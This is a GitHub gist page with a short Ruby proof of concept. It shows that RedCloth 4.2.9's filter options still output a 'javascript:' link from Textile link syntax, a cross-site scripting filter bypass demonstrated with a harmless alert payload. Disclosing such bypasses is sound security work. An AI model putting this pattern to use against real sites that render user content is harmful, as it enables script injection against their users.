-
-
Save co3k/75b3cb416c342aa1414c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'redcloth' | |
print RedCloth.new('["clickme":javascript:alert%28/XSS/.source%29]', [:filter_html, :filter_styles, :filter_classes, :filter_ids]).to_html | |
# Result: | |
# <p><a href="javascript:alert%28/XSS/.source%29">clickme</a></p> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I've confirmed this with RedCloth-4.2.9 (installed by RubyGems).